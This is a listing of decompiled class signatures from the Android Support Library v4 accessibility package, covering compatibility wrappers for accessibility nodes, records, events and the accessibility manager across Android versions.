android/support/v4/view/accessibility/AccessibilityNodeInfoCompatJellybeanMr2.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatJellybeanMr2 {
    void AccessibilityNodeInfoCompatJellybeanMr2();
    public static void setViewIdResourceName(Object, String);
    public static String getViewIdResourceName(Object);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityNodeProviderCompat$AccessibilityNodeProviderImpl {
    public abstract Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompat);
}










android/support/v4/view/accessibility/AccessibilityManagerCompatIcs$1.class


package android.support.v4.view.accessibility;
final synchronized class AccessibilityManagerCompatIcs$1 implements android.view.accessibility.AccessibilityManager$AccessibilityStateChangeListener {
    void AccessibilityManagerCompatIcs$1(AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge);
    public void onAccessibilityStateChanged(boolean);
}










android/support/v4/view/accessibility/AccessibilityRecordCompatIcs.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompatIcs {
    void AccessibilityRecordCompatIcs();
    public static Object obtain();
    public static Object obtain(Object);
    public static int getAddedCount(Object);
    public static CharSequence getBeforeText(Object);
    public static CharSequence getClassName(Object);
    public static CharSequence getContentDescription(Object);
    public static int getCurrentItemIndex(Object);
    public static int getFromIndex(Object);
    public static int getItemCount(Object);
    public static android.os.Parcelable getParcelableData(Object);
    public static int getRemovedCount(Object);
    public static int getScrollX(Object);
    public static int getScrollY(Object);
    public static Object getSource(Object);
    public static java.util.List getText(Object);
    public static int getToIndex(Object);
    public static int getWindowId(Object);
    public static boolean isChecked(Object);
    public static boolean isEnabled(Object);
    public static boolean isFullScreen(Object);
    public static boolean isPassword(Object);
    public static boolean isScrollable(Object);
    public static void recycle(Object);
    public static void setAddedCount(Object, int);
    public static void setBeforeText(Object, CharSequence);
    public static void setChecked(Object, boolean);
    public static void setClassName(Object, CharSequence);
    public static void setContentDescription(Object, CharSequence);
    public static void setCurrentItemIndex(Object, int);
    public static void setEnabled(Object, boolean);
    public static void setFromIndex(Object, int);
    public static void setFullScreen(Object, boolean);
    public static void setItemCount(Object, int);
    public static void setParcelableData(Object, android.os.Parcelable);
    public static void setPassword(Object, boolean);
    public static void setRemovedCount(Object, int);
    public static void setScrollX(Object, int);
    public static void setScrollY(Object, int);
    public static void setScrollable(Object, boolean);
    public static void setSource(Object, android.view.View);
    public static void setToIndex(Object, int);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityManagerIcsImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityManagerCompat$AccessibilityManagerIcsImpl extends AccessibilityManagerCompat$AccessibilityManagerStubImpl {
    void AccessibilityManagerCompat$AccessibilityManagerIcsImpl();
    public Object newAccessiblityStateChangeListener(AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatKitKat.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompatKitKat {
    void AccessibilityNodeProviderCompatKitKat();
    public static Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompatKitKat$AccessibilityNodeInfoBridge);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$AccessibilityNodeInfoStubImpl implements AccessibilityNodeInfoCompat$AccessibilityNodeInfoImpl {
    void AccessibilityNodeInfoCompat$AccessibilityNodeInfoStubImpl();
    public Object obtain();
    public Object obtain(android.view.View);
    public Object obtain(android.view.View, int);
    public Object obtain(Object);
    public void addAction(Object, int);
    public void addChild(Object, android.view.View);
    public void addChild(Object, android.view.View, int);
    public java.util.List findAccessibilityNodeInfosByText(Object, String);
    public int getActions(Object);
    public void getBoundsInParent(Object, android.graphics.Rect);
    public void getBoundsInScreen(Object, android.graphics.Rect);
    public Object getChild(Object, int);
    public int getChildCount(Object);
    public CharSequence getClassName(Object);
    public CharSequence getContentDescription(Object);
    public CharSequence getPackageName(Object);
    public Object getParent(Object);
    public CharSequence getText(Object);
    public int getWindowId(Object);
    public boolean isCheckable(Object);
    public boolean isChecked(Object);
    public boolean isClickable(Object);
    public boolean isEnabled(Object);
    public boolean isFocusable(Object);
    public boolean isFocused(Object);
    public boolean isVisibleToUser(Object);
    public boolean isAccessibilityFocused(Object);
    public boolean isLongClickable(Object);
    public boolean isPassword(Object);
    public boolean isScrollable(Object);
    public boolean isSelected(Object);
    public boolean performAction(Object, int);
    public boolean performAction(Object, int, android.os.Bundle);
    public void setMovementGranularities(Object, int);
    public int getMovementGranularities(Object);
    public void setBoundsInParent(Object, android.graphics.Rect);
    public void setBoundsInScreen(Object, android.graphics.Rect);
    public void setCheckable(Object, boolean);
    public void setChecked(Object, boolean);
    public void setClassName(Object, CharSequence);
    public void setClickable(Object, boolean);
    public void setContentDescription(Object, CharSequence);
    public void setEnabled(Object, boolean);
    public void setFocusable(Object, boolean);
    public void setFocused(Object, boolean);
    public void setVisibleToUser(Object, boolean);
    public void setAccessibilityFocused(Object, boolean);
    public void setLongClickable(Object, boolean);
    public void setPackageName(Object, CharSequence);
    public void setParent(Object, android.view.View);
    public void setPassword(Object, boolean);
    public void setScrollable(Object, boolean);
    public void setSelected(Object, boolean);
    public void setSource(Object, android.view.View);
    public void setSource(Object, android.view.View, int);
    public Object findFocus(Object, int);
    public Object focusSearch(Object, int);
    public void setText(Object, CharSequence);
    public void recycle(Object);
    public void setParent(Object, android.view.View, int);
    public String getViewIdResourceName(Object);
    public void setViewIdResourceName(Object, String);
    public int getLiveRegion(Object);
    public void setLiveRegion(Object, int);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityManagerCompat {
    private static final AccessibilityManagerCompat$AccessibilityManagerVersionImpl IMPL;
    public void AccessibilityManagerCompat();
    public static boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public static boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public static java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public static java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public static boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordIcsMr1Impl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompat$AccessibilityRecordIcsMr1Impl extends AccessibilityRecordCompat$AccessibilityRecordIcsImpl {
    void AccessibilityRecordCompat$AccessibilityRecordIcsMr1Impl();
    public int getMaxScrollX(Object);
    public int getMaxScrollY(Object);
    public void setMaxScrollX(Object, int);
    public void setMaxScrollY(Object, int);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityRecordCompat {
    private static final AccessibilityRecordCompat$AccessibilityRecordImpl IMPL;
    private final Object mRecord;
    public void AccessibilityRecordCompat(Object);
    public Object getImpl();
    public static AccessibilityRecordCompat obtain(AccessibilityRecordCompat);
    public static AccessibilityRecordCompat obtain();
    public void setSource(android.view.View);
    public void setSource(android.view.View, int);
    public AccessibilityNodeInfoCompat getSource();
    public int getWindowId();
    public boolean isChecked();
    public void setChecked(boolean);
    public boolean isEnabled();
    public void setEnabled(boolean);
    public boolean isPassword();
    public void setPassword(boolean);
    public boolean isFullScreen();
    public void setFullScreen(boolean);
    public boolean isScrollable();
    public void setScrollable(boolean);
    public int getItemCount();
    public void setItemCount(int);
    public int getCurrentItemIndex();
    public void setCurrentItemIndex(int);
    public int getFromIndex();
    public void setFromIndex(int);
    public int getToIndex();
    public void setToIndex(int);
    public int getScrollX();
    public void setScrollX(int);
    public int getScrollY();
    public void setScrollY(int);
    public int getMaxScrollX();
    public void setMaxScrollX(int);
    public int getMaxScrollY();
    public void setMaxScrollY(int);
    public int getAddedCount();
    public void setAddedCount(int);
    public int getRemovedCount();
    public void setRemovedCount(int);
    public CharSequence getClassName();
    public void setClassName(CharSequence);
    public java.util.List getText();
    public CharSequence getBeforeText();
    public void setBeforeText(CharSequence);
    public CharSequence getContentDescription();
    public void setContentDescription(CharSequence);
    public android.os.Parcelable getParcelableData();
    public void setParcelableData(android.os.Parcelable);
    public void recycle();
    public int hashCode();
    public boolean equals(Object);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat.class


package android.support.v4.view.accessibility;
public abstract synchronized class AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat {
    final Object mListener;
    public void AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat();
    public abstract void onAccessibilityStateChanged(boolean);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompatKitKat.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatKitKat {
    void AccessibilityNodeInfoCompatKitKat();
    public static int getLiveRegion(Object);
    public static void setLiveRegion(Object, int);
}










android/support/v4/view/accessibility/AccessibilityEventCompat$AccessibilityEventVersionImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityEventCompat$AccessibilityEventVersionImpl {
    public abstract int getRecordCount(android.view.accessibility.AccessibilityEvent);
    public abstract void appendRecord(android.view.accessibility.AccessibilityEvent, Object);
    public abstract Object getRecord(android.view.accessibility.AccessibilityEvent, int);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatJellyBean.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompatJellyBean {
    void AccessibilityNodeProviderCompatJellyBean();
    public static Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge);
}










android/support/v4/view/accessibility/AccessibilityEventCompatIcs.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityEventCompatIcs {
    void AccessibilityEventCompatIcs();
    public static int getRecordCount(android.view.accessibility.AccessibilityEvent);
    public static void appendRecord(android.view.accessibility.AccessibilityEvent, Object);
    public static Object getRecord(android.view.accessibility.AccessibilityEvent, int);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityRecordCompat$AccessibilityRecordImpl {
    public abstract Object obtain();
    public abstract Object obtain(Object);
    public abstract void setSource(Object, android.view.View);
    public abstract void setSource(Object, android.view.View, int);
    public abstract AccessibilityNodeInfoCompat getSource(Object);
    public abstract int getWindowId(Object);
    public abstract boolean isChecked(Object);
    public abstract void setChecked(Object, boolean);
    public abstract boolean isEnabled(Object);
    public abstract void setEnabled(Object, boolean);
    public abstract boolean isPassword(Object);
    public abstract void setPassword(Object, boolean);
    public abstract boolean isFullScreen(Object);
    public abstract void setFullScreen(Object, boolean);
    public abstract boolean isScrollable(Object);
    public abstract void setScrollable(Object, boolean);
    public abstract int getItemCount(Object);
    public abstract void setItemCount(Object, int);
    public abstract int getCurrentItemIndex(Object);
    public abstract void setCurrentItemIndex(Object, int);
    public abstract int getFromIndex(Object);
    public abstract void setFromIndex(Object, int);
    public abstract int getToIndex(Object);
    public abstract void setToIndex(Object, int);
    public abstract int getScrollX(Object);
    public abstract void setScrollX(Object, int);
    public abstract int getScrollY(Object);
    public abstract void setScrollY(Object, int);
    public abstract int getMaxScrollX(Object);
    public abstract void setMaxScrollX(Object, int);
    public abstract int getMaxScrollY(Object);
    public abstract void setMaxScrollY(Object, int);
    public abstract int getAddedCount(Object);
    public abstract void setAddedCount(Object, int);
    public abstract int getRemovedCount(Object);
    public abstract void setRemovedCount(Object, int);
    public abstract CharSequence getClassName(Object);
    public abstract void setClassName(Object, CharSequence);
    public abstract java.util.List getText(Object);
    public abstract CharSequence getBeforeText(Object);
    public abstract void setBeforeText(Object, CharSequence);
    public abstract CharSequence getContentDescription(Object);
    public abstract void setContentDescription(Object, CharSequence);
    public abstract android.os.Parcelable getParcelableData(Object);
    public abstract void setParcelableData(Object, android.os.Parcelable);
    public abstract void recycle(Object);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityManagerIcsImpl$1.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityManagerCompat$AccessibilityManagerIcsImpl$1 implements AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge {
    void AccessibilityManagerCompat$AccessibilityManagerIcsImpl$1(AccessibilityManagerCompat$AccessibilityManagerIcsImpl, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public void onAccessibilityStateChanged(boolean);
}










android/support/v4/view/accessibility/AccessibilityManagerCompatIcs.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityManagerCompatIcs {
    void AccessibilityManagerCompatIcs();
    public static Object newAccessibilityStateChangeListener(AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge);
    public static boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, Object);
    public static boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, Object);
    public static java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public static java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public static boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge {
    public abstract Object createAccessibilityNodeInfo(int);
    public abstract boolean performAction(int, int, android.os.Bundle);
    public abstract java.util.List findAccessibilityNodeInfosByText(String, int);
}










android/support/v4/view/accessibility/AccessibilityRecordCompatIcsMr1.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompatIcsMr1 {
    void AccessibilityRecordCompatIcsMr1();
    public static int getMaxScrollX(Object);
    public static int getMaxScrollY(Object);
    public static void setMaxScrollX(Object, int);
    public static void setMaxScrollY(Object, int);
}










android/support/v4/view/accessibility/AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge {
    public abstract void onAccessibilityStateChanged(boolean);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoKitKatImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$AccessibilityNodeInfoKitKatImpl extends AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanMr2Impl {
    void AccessibilityNodeInfoCompat$AccessibilityNodeInfoKitKatImpl();
    public int getLiveRegion(Object);
    public void setLiveRegion(Object, int);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityManagerVersionImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityManagerCompat$AccessibilityManagerVersionImpl {
    public abstract Object newAccessiblityStateChangeListener(AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public abstract boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public abstract boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public abstract java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public abstract java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public abstract boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl extends AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl {
    void AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl();
    public Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompat);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoIcsImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$AccessibilityNodeInfoIcsImpl extends AccessibilityNodeInfoCompat$AccessibilityNodeInfoStubImpl {
    void AccessibilityNodeInfoCompat$AccessibilityNodeInfoIcsImpl();
    public Object obtain();
    public Object obtain(android.view.View);
    public Object obtain(Object);
    public void addAction(Object, int);
    public void addChild(Object, android.view.View);
    public java.util.List findAccessibilityNodeInfosByText(Object, String);
    public int getActions(Object);
    public void getBoundsInParent(Object, android.graphics.Rect);
    public void getBoundsInScreen(Object, android.graphics.Rect);
    public Object getChild(Object, int);
    public int getChildCount(Object);
    public CharSequence getClassName(Object);
    public CharSequence getContentDescription(Object);
    public CharSequence getPackageName(Object);
    public Object getParent(Object);
    public CharSequence getText(Object);
    public int getWindowId(Object);
    public boolean isCheckable(Object);
    public boolean isChecked(Object);
    public boolean isClickable(Object);
    public boolean isEnabled(Object);
    public boolean isFocusable(Object);
    public boolean isFocused(Object);
    public boolean isLongClickable(Object);
    public boolean isPassword(Object);
    public boolean isScrollable(Object);
    public boolean isSelected(Object);
    public boolean performAction(Object, int);
    public void setBoundsInParent(Object, android.graphics.Rect);
    public void setBoundsInScreen(Object, android.graphics.Rect);
    public void setCheckable(Object, boolean);
    public void setChecked(Object, boolean);
    public void setClassName(Object, CharSequence);
    public void setClickable(Object, boolean);
    public void setContentDescription(Object, CharSequence);
    public void setEnabled(Object, boolean);
    public void setFocusable(Object, boolean);
    public void setFocused(Object, boolean);
    public void setLongClickable(Object, boolean);
    public void setPackageName(Object, CharSequence);
    public void setParent(Object, android.view.View);
    public void setPassword(Object, boolean);
    public void setScrollable(Object, boolean);
    public void setSelected(Object, boolean);
    public void setSource(Object, android.view.View);
    public void setText(Object, CharSequence);
    public void recycle(Object);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl implements AccessibilityNodeProviderCompat$AccessibilityNodeProviderImpl {
    void AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl();
    public Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompat);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityNodeInfoCompat$AccessibilityNodeInfoImpl {
    public abstract Object obtain();
    public abstract Object obtain(android.view.View);
    public abstract Object obtain(Object);
    public abstract Object obtain(android.view.View, int);
    public abstract void setSource(Object, android.view.View);
    public abstract void setSource(Object, android.view.View, int);
    public abstract Object findFocus(Object, int);
    public abstract Object focusSearch(Object, int);
    public abstract int getWindowId(Object);
    public abstract int getChildCount(Object);
    public abstract Object getChild(Object, int);
    public abstract void addChild(Object, android.view.View);
    public abstract void addChild(Object, android.view.View, int);
    public abstract int getActions(Object);
    public abstract void addAction(Object, int);
    public abstract boolean performAction(Object, int);
    public abstract boolean performAction(Object, int, android.os.Bundle);
    public abstract void setMovementGranularities(Object, int);
    public abstract int getMovementGranularities(Object);
    public abstract java.util.List findAccessibilityNodeInfosByText(Object, String);
    public abstract Object getParent(Object);
    public abstract void setParent(Object, android.view.View, int);
    public abstract void setParent(Object, android.view.View);
    public abstract void getBoundsInParent(Object, android.graphics.Rect);
    public abstract void setBoundsInParent(Object, android.graphics.Rect);
    public abstract void getBoundsInScreen(Object, android.graphics.Rect);
    public abstract void setBoundsInScreen(Object, android.graphics.Rect);
    public abstract boolean isCheckable(Object);
    public abstract void setCheckable(Object, boolean);
    public abstract boolean isChecked(Object);
    public abstract void setChecked(Object, boolean);
    public abstract boolean isFocusable(Object);
    public abstract void setFocusable(Object, boolean);
    public abstract boolean isFocused(Object);
    public abstract void setFocused(Object, boolean);
    public abstract boolean isVisibleToUser(Object);
    public abstract void setVisibleToUser(Object, boolean);
    public abstract boolean isAccessibilityFocused(Object);
    public abstract void setAccessibilityFocused(Object, boolean);
    public abstract boolean isSelected(Object);
    public abstract void setSelected(Object, boolean);
    public abstract boolean isClickable(Object);
    public abstract void setClickable(Object, boolean);
    public abstract boolean isLongClickable(Object);
    public abstract void setLongClickable(Object, boolean);
    public abstract boolean isEnabled(Object);
    public abstract void setEnabled(Object, boolean);
    public abstract boolean isPassword(Object);
    public abstract void setPassword(Object, boolean);
    public abstract boolean isScrollable(Object);
    public abstract void setScrollable(Object, boolean);
    public abstract CharSequence getPackageName(Object);
    public abstract void setPackageName(Object, CharSequence);
    public abstract CharSequence getClassName(Object);
    public abstract void setClassName(Object, CharSequence);
    public abstract CharSequence getText(Object);
    public abstract void setText(Object, CharSequence);
    public abstract CharSequence getContentDescription(Object);
    public abstract void setContentDescription(Object, CharSequence);
    public abstract void recycle(Object);
    public abstract String getViewIdResourceName(Object);
    public abstract void setViewIdResourceName(Object, String);
    public abstract int getLiveRegion(Object);
    public abstract void setLiveRegion(Object, int);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatKitKat$AccessibilityNodeInfoBridge.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityNodeProviderCompatKitKat$AccessibilityNodeInfoBridge {
    public abstract Object createAccessibilityNodeInfo(int);
    public abstract boolean performAction(int, int, android.os.Bundle);
    public abstract java.util.List findAccessibilityNodeInfosByText(String, int);
    public abstract Object findFocus(int);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordIcsImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompat$AccessibilityRecordIcsImpl extends AccessibilityRecordCompat$AccessibilityRecordStubImpl {
    void AccessibilityRecordCompat$AccessibilityRecordIcsImpl();
    public Object obtain();
    public Object obtain(Object);
    public int getAddedCount(Object);
    public CharSequence getBeforeText(Object);
    public CharSequence getClassName(Object);
    public CharSequence getContentDescription(Object);
    public int getCurrentItemIndex(Object);
    public int getFromIndex(Object);
    public int getItemCount(Object);
    public android.os.Parcelable getParcelableData(Object);
    public int getRemovedCount(Object);
    public int getScrollX(Object);
    public int getScrollY(Object);
    public AccessibilityNodeInfoCompat getSource(Object);
    public java.util.List getText(Object);
    public int getToIndex(Object);
    public int getWindowId(Object);
    public boolean isChecked(Object);
    public boolean isEnabled(Object);
    public boolean isFullScreen(Object);
    public boolean isPassword(Object);
    public boolean isScrollable(Object);
    public void recycle(Object);
    public void setAddedCount(Object, int);
    public void setBeforeText(Object, CharSequence);
    public void setChecked(Object, boolean);
    public void setClassName(Object, CharSequence);
    public void setContentDescription(Object, CharSequence);
    public void setCurrentItemIndex(Object, int);
    public void setEnabled(Object, boolean);
    public void setFromIndex(Object, int);
    public void setFullScreen(Object, boolean);
    public void setItemCount(Object, int);
    public void setParcelableData(Object, android.os.Parcelable);
    public void setPassword(Object, boolean);
    public void setRemovedCount(Object, int);
    public void setScrollX(Object, int);
    public void setScrollY(Object, int);
    public void setScrollable(Object, boolean);
    public void setSource(Object, android.view.View);
    public void setToIndex(Object, int);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordJellyBeanImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompat$AccessibilityRecordJellyBeanImpl extends AccessibilityRecordCompat$AccessibilityRecordIcsMr1Impl {
    void AccessibilityRecordCompat$AccessibilityRecordJellyBeanImpl();
    public void setSource(Object, android.view.View, int);
}










android/support/v4/view/accessibility/AccessibilityEventCompat$AccessibilityEventIcsImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityEventCompat$AccessibilityEventIcsImpl extends AccessibilityEventCompat$AccessibilityEventStubImpl {
    void AccessibilityEventCompat$AccessibilityEventIcsImpl();
    public void appendRecord(android.view.accessibility.AccessibilityEvent, Object);
    public Object getRecord(android.view.accessibility.AccessibilityEvent, int);
    public int getRecordCount(android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderKitKatImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompat$AccessibilityNodeProviderKitKatImpl extends AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl {
    void AccessibilityNodeProviderCompat$AccessibilityNodeProviderKitKatImpl();
    public Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompat);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatJellyBean$1.class


package android.support.v4.view.accessibility;
final synchronized class AccessibilityNodeProviderCompatJellyBean$1 extends android.view.accessibility.AccessibilityNodeProvider {
    void AccessibilityNodeProviderCompatJellyBean$1(AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge);
    public android.view.accessibility.AccessibilityNodeInfo createAccessibilityNodeInfo(int);
    public java.util.List findAccessibilityNodeInfosByText(String, int);
    public boolean performAction(int, int, android.os.Bundle);
}










android/support/v4/view/accessibility/AccessibilityRecordCompatJellyBean.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompatJellyBean {
    void AccessibilityRecordCompatJellyBean();
    public static void setSource(Object, android.view.View, int);
}










android/support/v4/view/accessibility/AccessibilityEventCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityEventCompat {
    private static final AccessibilityEventCompat$AccessibilityEventVersionImpl IMPL;
    public static final int TYPE_VIEW_HOVER_ENTER = 128;
    public static final int TYPE_VIEW_HOVER_EXIT = 256;
    public static final int TYPE_TOUCH_EXPLORATION_GESTURE_START = 512;
    public static final int TYPE_TOUCH_EXPLORATION_GESTURE_END = 1024;
    public static final int TYPE_WINDOW_CONTENT_CHANGED = 2048;
    public static final int TYPE_VIEW_SCROLLED = 4096;
    public static final int TYPE_VIEW_TEXT_SELECTION_CHANGED = 8192;
    public static final int TYPE_ANNOUNCEMENT = 16384;
    public static final int TYPE_VIEW_ACCESSIBILITY_FOCUSED = 32768;
    public static final int TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED = 65536;
    public static final int TYPE_VIEW_TEXT_TRAVERSED_AT_MOVEMENT_GRANULARITY = 131072;
    public static final int TYPE_GESTURE_DETECTION_START = 262144;
    public static final int TYPE_GESTURE_DETECTION_END = 524288;
    public static final int TYPE_TOUCH_INTERACTION_START = 1048576;
    public static final int TYPE_TOUCH_INTERACTION_END = 2097152;
    public static final int TYPES_ALL_MASK = -1;
    private void AccessibilityEventCompat();
    public static int getRecordCount(android.view.accessibility.AccessibilityEvent);
    public static void appendRecord(android.view.accessibility.AccessibilityEvent, AccessibilityRecordCompat);
    public static AccessibilityRecordCompat getRecord(android.view.accessibility.AccessibilityEvent, int);
    public static AccessibilityRecordCompat asRecord(android.view.accessibility.AccessibilityEvent);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanImpl extends AccessibilityNodeInfoCompat$AccessibilityNodeInfoIcsImpl {
    void AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanImpl();
    public Object obtain(android.view.View, int);
    public Object findFocus(Object, int);
    public Object focusSearch(Object, int);
    public void addChild(Object, android.view.View, int);
    public void setSource(Object, android.view.View, int);
    public boolean isVisibleToUser(Object);
    public void setVisibleToUser(Object, boolean);
    public boolean isAccessibilityFocused(Object);
    public void setAccessibilityFocused(Object, boolean);
    public boolean performAction(Object, int, android.os.Bundle);
    public void setMovementGranularities(Object, int);
    public int getMovementGranularities(Object);
    public void setParent(Object, android.view.View, int);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompat$AccessibilityRecordStubImpl implements AccessibilityRecordCompat$AccessibilityRecordImpl {
    void AccessibilityRecordCompat$AccessibilityRecordStubImpl();
    public Object obtain();
    public Object obtain(Object);
    public int getAddedCount(Object);
    public CharSequence getBeforeText(Object);
    public CharSequence getClassName(Object);
    public CharSequence getContentDescription(Object);
    public int getCurrentItemIndex(Object);
    public int getFromIndex(Object);
    public int getItemCount(Object);
    public int getMaxScrollX(Object);
    public int getMaxScrollY(Object);
    public android.os.Parcelable getParcelableData(Object);
    public int getRemovedCount(Object);
    public int getScrollX(Object);
    public int getScrollY(Object);
    public AccessibilityNodeInfoCompat getSource(Object);
    public java.util.List getText(Object);
    public int getToIndex(Object);
    public int getWindowId(Object);
    public boolean isChecked(Object);
    public boolean isEnabled(Object);
    public boolean isFullScreen(Object);
    public boolean isPassword(Object);
    public boolean isScrollable(Object);
    public void recycle(Object);
    public void setAddedCount(Object, int);
    public void setBeforeText(Object, CharSequence);
    public void setChecked(Object, boolean);
    public void setClassName(Object, CharSequence);
    public void setContentDescription(Object, CharSequence);
    public void setCurrentItemIndex(Object, int);
    public void setEnabled(Object, boolean);
    public void setFromIndex(Object, int);
    public void setFullScreen(Object, boolean);
